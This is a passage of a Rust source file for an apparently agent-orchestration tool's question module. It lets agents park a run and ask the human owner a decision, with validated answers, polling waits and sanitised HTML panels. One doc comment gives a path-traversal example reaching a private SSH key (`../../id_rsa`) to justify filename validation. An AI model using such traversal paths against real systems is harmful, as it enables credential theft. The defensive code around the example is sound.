magi/ask.rs
1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`] and now [`Question::answer_timeout`] - when a
45/// new field is added that a much older magi has no notion of at all.
46///
47/// The web UI is written against this shape by hand - there is no shared schema
48/// between the front end and this struct - so a field that changes meaning
49/// without a bump here is a UI that lies silently.
50///
51/// A file is refused only when its own `schema` is *greater* than this one -
52/// see [`read_path`] - never merely different: `#[serde(default)]` on every
53/// field added since 1 is what makes an older file's absence of `thread` mean
54/// "no conversation yet" rather than "unreadable", and a strict equality check
55/// would turn every bump into an upgrade that breaks reading yesterday's
56/// question files.
57pub const SCHEMA: u32 = 3;
58
59/// How often the wait re-reads the question file.
60///
61/// Three seconds: the answer comes from a human on a phone, so the difference
62/// between three seconds and three hundred milliseconds is invisible to them,
63/// while a tight loop would `stat` and parse a file thousands of times per
64/// minute for a wait that routinely lasts hours. Nothing is held between polls -
65/// no lock, no open handle - because `magi web` and `magi answer` write the
66/// same file from other processes.
67const POLL: Duration = Duration::from_secs(3);
68
69/// How long an agent's reply may go unnoticed before it earns its own
70/// notification.
71///
72/// An operator reading the card when the agent replies does not need paging
73/// again for a conversation they are already in; one who walked away still
74/// needs the tap on the shoulder. Five minutes is a judgement call about that
75/// line, not a policy a repository has an opinion about, which is why it lives
76/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
77/// whether they are still looking at the phone, and neither can this build, so
78/// there is nothing for a per-repository setting to be *right* about.
79const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
80
81/// How long the operator's notification command may run before it is killed.
82///
83/// A webhook that hangs must not hang the run. Twenty seconds is long enough
84/// for a slow HTTP round trip and short enough that the operator still gets the
85/// question filed and the run parked in a bounded time.
86const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
87
88/// The longest a single `magi ask` invocation may block on the owner before
89/// it hands the wait back to whatever is running it, rather than to
90/// [`Question::abandon`].
91///
92/// `answer_timeout` defaults to a day, and that is a deadline for the
93/// *question*, not a budget the calling process is free to spend all at
94/// once: an agent CLI's own shell tool kills a command that runs much longer
95/// than this, and the child it kills is `magi ask` itself - the one thing
96/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
97/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
98/// out, and the seat's own summary said it had backgrounded the blocking
99/// `magi ask` and would "continue once the owner replies" - except nothing
100/// was left to notice the reply. The seat exited `completed`, the
101/// backgrounded child died with it, and the owner's eventual answer on the
102/// web UI had nobody left to read it.
103///
104/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
105/// and returns [`Wait::Pending`] if nothing happened, which is not a
106/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
107/// process the tool timeout has never seen. Four minutes leaves a ten-minute
108/// tool budget room for the CLI's own startup and the notification's round
109/// trip, while staying long enough that an owner who answers within the hour
110/// is not making an agent loop through fifteen slices to hear about it.
111const WAIT_SLICE: Duration = Duration::from_secs(240);
112
113/// Environment variable naming the base URL of the web UI, for `{url}`.
114///
115/// A run cannot discover this by itself: `magi web` is a different process,
116/// usually started by hand and often on a different machine on the tailnet, and
117/// the address it settled on (Tailscale IP, port, or the fallback it warned
118/// about) exists only in that process. So the operator names it once, in the
119/// environment `magi serve` runs in - `magi web --open` prints exactly the
120/// string to use on stdout. Unset means `{url}` expands to nothing rather than
121/// to a guess: a notification carrying a link to an address nothing is
122/// listening on is worse than one carrying no link at all.
123pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
124
125/// Largest panel magi will store, html plus assets.
126///
127/// Checked as a total, before a single byte is written, because the failure
128/// this prevents is not a full disk but a half-copied panel: an agent that
129/// points at a 200 MB screen recording must get one clean error, not a
130/// directory holding the three small files that fitted before the copy died.
131/// Eight mebibytes is far more than a diff, a table and a handful of images
132/// need, and small enough that a phone on a hotel link still renders it.
133pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
134
135/// Suffix of the directory holding one question's panel.
136///
137/// A sibling of `<id>.json` rather than a subdirectory of the store, so
138/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
139/// see it, and so a panel travels with the question it belongs to.
140const PANEL_DIR: &str = ".panel";
141
142/// The panel's entry point inside its directory.
143const PANEL_HTML: &str = "index.html";
144
145/// Scratch directory a panel is assembled in before it is swapped into place.
146const PANEL_TMP: &str = ".panel.tmp";
147
148/// The one asset filename rule, applied on write **and** on read.
149///
150/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
151/// containing `..`. The pattern is this narrow because the name arrives from
152/// two untrusted directions and is then joined onto a path: an agent naming
153/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
154/// character that could change what the join means is outside the set - `/`
155/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
156/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
157/// refused, which matters because on Windows `Path::join` with an absolute
158/// path *discards the whole prefix* and would serve any file on the disk.
159/// `..` is refused anywhere rather than only at the front so the rule reads
160/// the same as the sentence "no traversal" to anyone auditing it.
161///
162/// The length bound keeps a name inside every filesystem's limit, so a panel
163/// that stores cannot fail to store on the operator's other machine.
164pub fn valid_asset_name(name: &str) -> bool {
165 if name.is_empty() || name.len() > 64 || name.contains("..") {
166 return false;
167 }
168 let mut chars = name.chars();
169 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
170 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
171}
172
173/// Where a question is in its life.
174#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
175#[serde(rename_all = "lowercase")]
176pub enum QuestionStatus {
177 /// Asked, and waiting for the owner. A run is parked behind it.
178 Open,
179 /// The owner decided. [`Question::answer`] holds what they said.
180 Answered,
181 /// Nobody answered in time, or the question outlived the run that asked.
182 /// Kept rather than deleted: what was asked and never answered is the
183 /// evidence that the operator was the bottleneck.
184 Abandoned,
185}
186
187impl QuestionStatus {
188 /// Is a run still parked behind this question?
189 pub fn open(self) -> bool {
190 matches!(self, Self::Open)
191 }
192
193 /// Lowercase name, as it appears on disk and in the API.
194 pub fn as_str(self) -> &'static str {
195 match self {
196 Self::Open => "open",
197 Self::Answered => "answered",
198 Self::Abandoned => "abandoned",
199 }
200 }
201}
202
203/// What the owner said.
204///
205/// Two shapes rather than one string because the question decides which is
206/// admissible, and [`Question::answer`] enforces it. A phone that posts
207/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
208/// front end, and it is caught here rather than handed to an agent as fact.
209#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
210#[serde(rename_all = "lowercase")]
211pub enum Answer {
212 /// One of the offered choices, verbatim.
213 Choice(String),
214 /// Free text, for a question that offered no choices.
215 Text(String),
216}
217
218/// Who wrote one turn of a question's conversation.
219///
220/// Two values, not three: [`Question::thread`] is the record of a single
221/// question stopping and resuming, and the agent that resumes it is always
222/// the one that asked - a fresh consultant would have to be caught up on
223/// everything the first agent already knows, which is the round trip this
224/// module exists to avoid. The names and the wire spelling deliberately match
225/// [`crate::chat::Who`], which this module does not depend on: the two are the
226/// same idea in two products, and giving them the same shape is what lets the
227/// phone render both with one component.
228#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
229#[serde(rename_all = "lowercase")]
230pub enum Who {
231 /// The person the agent asked.
232 Operator,
233 /// The agent that asked, replying to a question of its own rather than
234 /// answering.
235 Agent,
236}
237
238/// One turn in a question's back-and-forth, after the question itself was
239/// asked.
240///
241/// The question's own `summary`/`detail`/`choices` already carry the agent's
242/// opening move, so a turn only exists from the moment the owner talks back -
243/// [`Question::thread`] starts empty and stays that way for the overwhelming
244/// majority of questions, which are answered on the first read.
245#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
246#[serde(deny_unknown_fields)]
247pub struct Turn {
248 /// Who said it.
249 pub who: Who,
250 /// What they said.
251 pub body: String,
252 /// When they said it.
253 pub at: Timestamp,
254}
255
256/// One decision magi will not take on the owner's behalf.
257#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
258#[serde(deny_unknown_fields)]
259pub struct Question {
260 /// On-disk format version.
261 pub schema: u32,
262 /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
263 /// task's, so the operator can paste any of them at any prefix argument.
264 pub id: String,
265 /// Run that is parked behind this question.
266 pub run: String,
267 /// Graph node the asking agent was working in, e.g. `implement`.
268 pub node: String,
269 /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
270 /// this" decides whether the answer unblocks one candidate or all of them.
271 pub seat: String,
272 /// One line: the question itself. This is what a notification carries and
273 /// what the phone shows above the answer controls.
274 pub summary: String,
275 /// The reasoning behind the question, as markdown. May be long, may be
276 /// empty. Rendered as text nodes by the UI, never as markup.
277 pub detail: String,
278 /// The admissible answers. **Empty means free text** - that one condition
279 /// is the whole difference between the two kinds of question, on disk, in
280 /// the UI, and in [`Question::answer`]'s validation.
281 pub choices: Vec<String>,
282 /// Does this question have an agent-authored HTML panel beside it?
283 ///
284 /// Serialised with a default so a question written by an older magi - or
285 /// by hand - still deserialises rather than failing the whole store, which
286 /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
287 /// open question the operator was looking for.
288 #[serde(default)]
289 pub panel: bool,
290 /// Files copied in beside the panel's html, by base name, sorted.
291 ///
292 /// The list exists so a reader knows what a panel is made of without
293 /// walking the directory, and every entry satisfies [`valid_asset_name`].
294 /// Sorted because it is compared - a question re-asked with the same
295 /// assets in a different argument order is not a different question.
296 #[serde(default)]
297 pub assets: Vec<String>,
298 /// Current state.
299 pub status: QuestionStatus,
300 /// When the agent asked.
301 pub asked_at: Timestamp,
302 /// When the owner answered, if they did.
303 pub answered_at: Option<Timestamp>,
304 /// What they said.
305 pub answer: Option<Answer>,
306 /// Everything said after the question itself, oldest first: the owner
307 /// asking back, the agent replying, as many times as it takes before an
308 /// [`Answer`] lands.
309 ///
310 /// `#[serde(default)]` so a question written before this field existed -
311 /// every question on disk before this build - still deserialises as one
312 /// with no conversation yet, rather than failing [`Questions::list`]'s
313 /// read and quietly hiding an open question from the operator.
314 #[serde(default)]
315 pub thread: Vec<Turn>,
316 /// The `answer_timeout`, in seconds, that was in force when this question
317 /// was first asked. `0` means unrecorded - a question written before this
318 /// field existed, or one filed by a flow (land's merge-approval gate)
319 /// that never sets it because it never resumes a sliced wait.
320 ///
321 /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
322 /// or the config default) is decided by the caller, after the question
323 /// already exists - so it starts at `0` here and whoever files a fresh
324 /// question sets it once, the same way [`Question::panel`] is set by
325 /// [`Questions::put_panel`] rather than by the constructor. It is never
326 /// touched again: `magi ask --wait` reads it as the one deadline it is
327 /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
328 /// on a later call can never quietly extend or shrink the budget the
329 /// question was actually asked with.
330 #[serde(default)]
331 pub answer_timeout: u64,
332}
333
334impl Question {
335 /// Ask something. Persist it with [`Questions::put`], or hand it to
336 /// [`ask_and_wait`], which files it and waits.
337 pub fn new(
338 run: String,
339 node: String,
340 seat: String,
341 summary: String,
342 detail: String,
343 choices: Vec<String>,
344 ) -> Self {
345 Self {
346 schema: SCHEMA,
347 id: new_id(),
348 run,
349 node,
350 seat,
351 summary,
352 detail,
353 choices,
354 panel: false,
355 assets: Vec::new(),
356 status: QuestionStatus::Open,
357 asked_at: Timestamp::now(),
358 answered_at: None,
359 answer: None,
360 thread: Vec::new(),
361 answer_timeout: 0,
362 }
363 }
364
365 /// Short form used in reports and on the phone, matching a run's short id.
366 pub fn short(&self) -> &str {
367 short(&self.id)
368 }
369
370 /// Does this question want free text rather than one of a set?
371 pub fn free_text(&self) -> bool {
372 self.choices.is_empty()
373 }
374
375 /// Record an answer. Rejects a choice the question does not offer, free
376 /// text on a multiple-choice question, an empty answer, and a second
377 /// answer.
378 ///
379 /// Every rejection here is a case where accepting would put a fabrication
380 /// in front of an agent as if the owner had said it. The messages are
381 /// distinct because the caller is a web handler that shows them verbatim,
382 /// and "that is not one of the choices" and "this question is multiple
383 /// choice" are different mistakes with different fixes.
384 pub fn answer(&mut self, answer: Answer) -> Result<()> {
385 match self.status {
386 QuestionStatus::Answered => bail!(
387 "question {} was already answered; the run has moved on and a \
388 second answer would be a decision nobody acted on",
389 self.short()
390 ),
391 QuestionStatus::Abandoned => bail!(
392 "question {} was abandoned and the run behind it is gone",
393 self.short()
394 ),
395 QuestionStatus::Open => {}
396 }
397 let body = match &answer {
398 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
399 };
400 if body.trim().is_empty() {
401 bail!(
402 "question {} needs an answer; an empty one tells the agent \
403 nothing and it would guess anyway",
404 self.short()
405 );
406 }
407 match &answer {
408 Answer::Choice(c) if self.free_text() => bail!(
409 "question {} asks for free text, so `{c}` cannot be a choice \
410 it offered",
411 self.short()
412 ),
413 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
414 "`{c}` is not one of the choices question {} offers: {}",
415 self.short(),
416 self.choices.join(", ")
417 ),
418 Answer::Text(_) if !self.free_text() => bail!(
419 "question {} is multiple choice; answer with one of: {}",
420 self.short(),
421 self.choices.join(", ")
422 ),
423 _ => {}
424 }
425 self.answered_at = Some(Timestamp::now());
426 self.answer = Some(answer);
427 self.status = QuestionStatus::Answered;
428 Ok(())
429 }
430
431 /// Give up on an answer, keeping the record of what was asked.
432 ///
433 /// An answered question is left alone, which matters at exactly one moment:
434 /// the owner answering in the same second the wait's deadline passes. The
435 /// answer is the thing worth keeping there, and it has already been written
436 /// by another process.
437 ///
438 /// The reason is appended to [`Question::detail`] because the on-disk shape
439 /// is a contract with the front end and has no field of its own for it -
440 /// and "asked at 3am, nobody home for a day" belongs with the question, not
441 /// only in a log the operator will never open.
442 pub fn abandon(&mut self, why: impl Into<String>) {
443 if !self.status.open() {
444 return;
445 }
446 self.status = QuestionStatus::Abandoned;
447 let why = why.into();
448 let why = why.trim();
449 if why.is_empty() {
450 return;
451 }
452 if !self.detail.is_empty() {
453 self.detail.push('\n');
454 }
455 self.detail.push_str("\n_Abandoned: ");
456 self.detail.push_str(why);
457 self.detail.push_str("._\n");
458 }
459
460 /// The answer as the asking agent should read it.
461 ///
462 /// One string for both kinds of question: the agent's prompt says "the
463 /// owner answered:", and a chosen option and a typed sentence are the same
464 /// thing at that point. `None` while the question is open or abandoned, so
465 /// a caller cannot mistake silence for a decision.
466 pub fn resolution(&self) -> Option<String> {
467 match (self.status, &self.answer) {
468 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
469 Some(a.clone())
470 }
471 _ => None,
472 }
473 }
474
475 /// The owner speaking back without answering: a request for context, a
476 /// clarifying question, anything short of a decision.
477 ///
478 /// Rejects the same two states [`Question::answer`] does, and for the same
479 /// reason - a question with a recorded [`Answer`] or an abandoned one has
480 /// no run left listening for a reply - and an empty turn, which would tell
481 /// the agent nothing it didn't already know. Never changes `status`: the
482 /// question stays [`QuestionStatus::Open`], because the owner did not
483 /// decide anything, they only spoke, and `count_open`/`open_for` must keep
484 /// counting this as the one question it always was.
485 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
486 match self.status {
487 QuestionStatus::Answered => bail!(
488 "question {} was already answered; there is nothing left to \
489 discuss",
490 self.short()
491 ),
492 QuestionStatus::Abandoned => bail!(
493 "question {} was abandoned and the run behind it is gone",
494 self.short()
495 ),
496 QuestionStatus::Open => {}
497 }
498 let body = body.into();
499 if body.trim().is_empty() {
500 bail!("a message to question {} cannot be empty", self.short());
501 }
502 self.thread.push(Turn {
503 who: Who::Operator,
504 body,
505 at: Timestamp::now(),
506 });
507 Ok(())
508 }
509
510 /// The agent replying to the owner's last word, in place of an answer:
511 /// same question, same id, another round.
512 ///
513 /// `choices` replaces [`Question::choices`] wholesale rather than merging,
514 /// on the same reasoning [`Questions::put_panel`] replaces a panel
515 /// wholesale: the whole point of asking back is that what should be
516 /// offered next may have changed, and a caller that wanted the old set
517 /// unchanged can simply pass it again. An empty `Vec` means free text,
518 /// exactly as it does when the question is first asked.
519 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
520 match self.status {
521 QuestionStatus::Answered => bail!(
522 "question {} was already answered; replying now would not \
523 reach anyone",
524 self.short()
525 ),
526 QuestionStatus::Abandoned => bail!(
527 "question {} was abandoned and the run behind it is gone",
528 self.short()
529 ),
530 QuestionStatus::Open => {}
531 }
532 let body = body.into();
533 if body.trim().is_empty() {
534 bail!("a reply to question {} cannot be empty", self.short());
535 }
536 self.choices = choices;
537 self.thread.push(Turn {
538 who: Who::Agent,
539 body,
540 at: Timestamp::now(),
541 });
542 Ok(())
543 }
544
545 /// Is the ball in the agent's court?
546 ///
547 /// True from the moment the owner speaks back until the agent's next
548 /// [`Question::reply`], and never on a fresh or an already-settled
549 /// question. [`QuestionStatus`] does not move for either side of this -
550 /// see [`Question::say`] - so this is the one place that state is
551 /// readable at all, which is why [`crate::web::QuestionView`] carries it
552 /// separately rather than asking the phone to infer it from the thread.
553 pub fn waiting_on_agent(&self) -> bool {
554 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
555 }
556
557 /// Should a notification go out right now?
558 ///
559 /// Always, for the very first ask: [`Question::thread`] is still empty, so
560 /// there is no earlier operator turn to have already caught anyone's
561 /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
562 /// since the owner's own last word - see that constant for why the window
563 /// exists at all and why its length is not configurable.
564 fn should_notify(&self, now: Timestamp) -> bool {
565 let Some(last) = self
566 .thread
567 .iter()
568 .rev()
569 .find(|t| t.who == Who::Operator)
570 .map(|t| t.at)
571 else {
572 return true;
573 };
574 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
575 }
576}
577
578/// A question store on disk.
579#[derive(Debug, Clone)]
580pub struct Questions {
581 root: PathBuf,
582}
583
584impl Questions {
585 /// The operator's questions, `<home>/questions`.
586 pub fn open() -> Self {
587 Self::at(crate::run::home().join("questions"))
588 }
589
590 /// A store at an explicit root. Tests use this, which is why none of them
591 /// need the operator's real home.
592 pub fn at(root: PathBuf) -> Self {
593 Self { root }
594 }
595
596 /// Directory holding the question files.
597 pub fn root(&self) -> &Path {
598 &self.root
599 }
600
601 /// Path for one question id.
602 pub fn path_of(&self, id: &str) -> PathBuf {
603 self.root.join(format!("{id}.json"))
604 }
605
606 /// Directory holding one question's panel, `<root>/<id>.panel`.
607 pub fn panel_dir(&self, id: &str) -> PathBuf {
608 self.root.join(format!("{id}{PANEL_DIR}"))
609 }
610
611 /// Store a panel: the html, plus `assets` copied in under their base
612 /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
613 /// question, or the record on disk will deny having a panel that exists.
614 ///
615 /// The assets are **copied, not referenced**. An agent authors its panel
616 /// inside a candidate worktree and points at files there, and `magi fold`
617 /// deletes those worktrees; a question is the permanent record of a
618 /// decision the owner took, so a panel that referenced its own images
619 /// would render as broken boxes exactly when someone went back to ask why
620 /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
621 /// does, and so does the [`std::fs::metadata`] the size is measured with,
622 /// so the bytes counted and the bytes written are the same target file's -
623 /// which is the intent: storing a link would leave the panel pointing at
624 /// the worktree again, one indirection further away.
625 ///
626 /// Everything that can be rejected is rejected before the first byte is
627 /// written, and the panel is then assembled in a scratch directory and
628 /// swapped in. So a refusal leaves the previous panel intact, and a
629 /// success replaces it *wholesale* rather than merging: a re-asked
630 /// question showing one attempt's diff next to another attempt's table
631 /// would be a panel neither agent ever wrote.
632 ///
633 /// [`put`]: Questions::put
634 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
635 if !valid_asset_name(&q.id) {
636 bail!(
637 "question id `{}` is not a name magi will build a panel path from",
638 q.id
639 );
640 }
641 if html.trim().is_empty() {
642 bail!(
643 "question {} was handed an empty panel; an empty frame reads to \
644 the owner as \"the agent had nothing to say\", which is a lie",
645 q.short()
646 );
647 }
648
649 // Names, then sizes, then writing - in that order, so nothing below
650 // can leave a partial panel on disk.
651 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
652 for src in assets {
653 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
654 if !valid_asset_name(name) {
655 bail!(
656 "panel asset `{}` cannot be stored: a panel file name must \
657 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
658 src.display()
659 );
660 }
661 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
662 bail!(
663 "two panel assets are both named `{name}` - {} and {} - and \
664 the panel can only show one of them; rename one at the source",
665 first.display(),
666 src.display()
667 );
668 }
669 named.push((name.to_owned(), src.as_path()));
670 }
671
672 let mut total = html.len() as u64;
673 for (_, src) in &named {
674 let meta = std::fs::metadata(src)
675 .with_context(|| format!("stat panel asset {}", src.display()))?;
676 if !meta.is_file() {
677 bail!(
678 "panel asset `{}` is not a file; a panel is html plus files \
679 copied beside it",
680 src.display()
681 );
682 }
683 total = total.saturating_add(meta.len());
684 }
685 if total > PANEL_MAX_BYTES {
686 bail!(
687 "panel for question {} is {total} bytes, over magi's cap of \
688 {PANEL_MAX_BYTES} bytes; nothing was written",
689 q.short()
690 );
691 }
692
693 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
694 let dir = self.panel_dir(&q.id);
695 std::fs::create_dir_all(&self.root)
696 .with_context(|| format!("create {}", self.root.display()))?;
697 clear_dir(&tmp)?;
698 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
699 if let Err(e) = fill_panel(&tmp, html, &named) {
700 // A copy that dies halfway must not become the panel, and must not
701 // leave scratch behind for the next call to inherit.
702 let _ = std::fs::remove_dir_all(&tmp);
703 return Err(e);
704 }
705 clear_dir(&dir)?;
706 std::fs::rename(&tmp, &dir)
707 .with_context(|| format!("move panel into {}", dir.display()))?;
708
709 q.panel = true;
710 q.assets = named.into_iter().map(|(n, _)| n).collect();
711 q.assets.sort_unstable();
712 Ok(())
713 }
714
715 /// The panel's html, or `None` when the question has no panel.
716 ///
717 /// `None` rather than an error for a missing panel because the caller is a
718 /// web handler whose answer is 404 either way, and an unreadable panel is
719 /// not a reason to fail the question it belongs to.
720 pub fn panel_html(&self, id: &str) -> Option<String> {
721 if !valid_asset_name(id) {
722 return None;
723 }
724 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
725 }
726
727 /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
728 /// not a name a panel file can have".
729 ///
730 /// Rejects a name failing [`valid_asset_name`] **before touching the
731 /// filesystem**, which is the whole point of the second check: the name
732 /// arrives from a URL, the directory is on disk where any process could
733 /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
734 /// operating system would resolve perfectly happily. The two callers'
735 /// distinct outcomes - 400 for a name, 404 for a file - are why this is
736 /// `Result<Option<_>>` rather than one flattened `Option`.
737 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
738 if !valid_asset_name(name) {
739 bail!(
740 "`{name}` is not a panel file name; it must match \
741 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
742 );
743 }
744 if !valid_asset_name(id) {
745 return Ok(None);
746 }
747 let dir = self.panel_dir(id);
748 if !dir.is_dir() {
749 return Ok(None);
750 }
751 let path = dir.join(name);
752 match std::fs::read(&path) {
753 Ok(bytes) => Ok(Some(bytes)),
754 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
755 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
756 }
757 }
758
759 /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
760 ///
761 /// Succeeds when there is nothing to delete, so a caller cleaning up does
762 /// not have to know whether a panel was ever written. The question record
763 /// is not touched: the caller clears `panel` and `assets` and `put`s it,
764 /// in the same order as everywhere else here.
765 ///
766 /// [`put_panel`]: Questions::put_panel
767 pub fn drop_panel(&self, id: &str) -> Result<()> {
768 if !valid_asset_name(id) {
769 bail!("question id `{id}` is not a name magi will build a panel path from");
770 }
771 clear_dir(&self.panel_dir(id))?;
772 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
773 }
774
775 /// Write a question, atomically, so a process killed mid-write leaves the
776 /// previous state readable rather than a truncated file that would strand
777 /// the run waiting on it.
778 pub fn put(&self, q: &mut Question) -> Result<()> {
779 std::fs::create_dir_all(&self.root)
780 .with_context(|| format!("create {}", self.root.display()))?;
781 let body = serde_json::to_string_pretty(q).context("serialize question")?;
782 let path = self.path_of(&q.id);
783 let tmp = path.with_extension("json.tmp");
784 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
785 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
786 Ok(())
787 }
788
789 /// Load a question by id or unambiguous id prefix.
790 pub fn get(&self, id: &str) -> Result<Question> {
791 let resolved = self.resolve_id(id)?;
792 read_path(&self.path_of(&resolved))
793 }
794
795 /// Every question on disk: open first, then newest first.
796 ///
797 /// Open first because that ordering is the product - the list exists to
798 /// show the operator what has stopped, and an answered question is history
799 /// underneath it. Unreadable files are skipped rather than fatal: one
800 /// corrupt question must not take the web UI down, and must certainly not
801 /// hide the open question the operator was looking for.
802 pub fn list(&self) -> Vec<Question> {
803 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
804 .into_iter()
805 .flatten()
806 .flatten()
807 .map(|e| e.path())
808 .filter(|p| p.extension().is_some_and(|x| x == "json"))
809 .filter_map(|p| read_path(&p).ok())
810 .collect();
811 all.sort_unstable_by(|a, b| {
812 let rank = |q: &Question| u8::from(!q.status.open());
813 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
814 });
815 all
816 }
817
818 /// Open questions belonging to one run, newest first.
819 ///
820 /// Used to decide whether a parked run can be resumed: while this is
821 /// non-empty, nothing about the run has changed and no agent should be
822 /// spawned for it.
823 pub fn open_for(&self, run: &str) -> Vec<Question> {
824 self.list()
825 .into_iter()
826 .filter(|q| q.status.open() && q.run == run)
827 .collect()
828 }
829
830 /// Abandon every open question belonging to a run, and report how many.
831 ///
832 /// Called when a run's record is deleted. The agent that asked died with
833 /// the run, so there is nobody left to hand an answer to, and a question
834 /// left open would keep asking the operator for a decision that can no
835 /// longer be delivered - the phone showed exactly that: "auth.rs というファ
836 /// イルが見つかりません" with two buttons, for a run whose directory had
837 /// been gone for two hours.
838 ///
839 /// Abandoned rather than deleted, because [`Question::abandon`] already
840 /// means "this can no longer be answered" and the record of having asked
841 /// is worth keeping. Answered questions are left exactly as they are.
842 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
843 let mut abandoned = 0;
844 for mut q in self.open_for(run) {
845 q.abandon(why);
846 self.put(&mut q)?;
847 abandoned += 1;
848 }
849 Ok(abandoned)
850 }
851
852 /// Abandon a run's open questions once `status` says the run is not
853 /// coming back, worded with what it actually became.
854 ///
855 /// The run-deleted case above and this one are the same fact - nobody is
856 /// left to read an answer - reached by two different doors. This is the
857 /// one for a run that finished on its own: merged, reached `Ready` with
858 /// nothing left to do, or failed outright with no established point to
859 /// resume from. Those are exactly the statuses [`RunStatus::resumable`]
860 /// excludes, and that is the line this draws too - deliberately not
861 /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
862 /// over. Both of those can still be picked back up with the candidates,
863 /// the review round and the seat sessions already on disk, so a question
864 /// asked mid-round may yet get a real answer from a real resume, and
865 /// folding it here would be exactly the mistake this function exists to
866 /// avoid on the other side - answering back into a run that no longer
867 /// exists to read it.
868 ///
869 /// A no-op, not an error, when `status` is still resumable or when there
870 /// was nothing open to begin with - callers reach this from more than one
871 /// place a run can settle, and a second call finding nothing left to
872 /// abandon is the expected case, not a bug.
873 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
874 if status.resumable() {
875 return Ok(0);
876 }
877 let why = format!(
878 "run {run} {}, so nothing is waiting for this answer",
879 status.as_str()
880 );
881 self.abandon_for_run(run, &why)
882 }
883
884 /// Expand an id prefix to exactly one question id. The short id the phone
885 /// and the reports show is a suffix, so that is accepted too.
886 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
